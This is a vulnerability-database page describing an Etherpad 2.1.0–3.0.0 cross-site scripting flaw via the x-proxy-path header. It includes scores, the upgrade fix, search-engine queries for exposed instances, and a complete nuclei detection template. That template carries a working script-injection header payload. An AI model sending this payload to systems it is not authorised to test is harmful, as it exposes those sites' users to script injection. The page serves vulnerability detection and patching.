HexBrain

Browse / CVEs / CVE-2026-55087

CVE-2026-55087· ether / etherpad· CWE-79, CWE-444, CWE-601

Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.

Fix

Upgrade to Etherpad 3.1.0 or later.

How to confirm it

Send: GET {{BaseURL}}/admin/
Positive when: contains_all(body, 'src="/\"><script>alert(document.domain)</script>/admin/', 'href="/\"><script>alert(document.domain)</script>/admin/') and contains(header, 'text/html') and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-55087 -u <target>

The full check
id: CVE-2026-55087

info:
  name: Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting
  author: Haseeb-1698
  severity: medium
  description: |
    Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.
  remediation: |
    Upgrade to Etherpad 3.1.0 or later.
  reference:
    - https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8
    - https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55087
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-55087
    epss-score: 0.00578
    epss-percentile: 0.47956
    cwe-id: CWE-79,CWE-444,CWE-601
  metadata:
    verified: true
    max-request: 1
    vendor: ether
    product: etherpad
    shodan-query: http.title:"Etherpad"
    fofa-query: title="Etherpad"
  tags: cve,cve2026,etherpad,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/"

    headers:
      x-proxy-path: '/"><script>alert(document.domain)</script>'

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'src=\"/\\\"><script>alert(document.domain)</script>/admin/', 'href=\"/\\\"><script>alert(document.domain)</script>/admin/')"
          - "contains(header, 'text/html')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from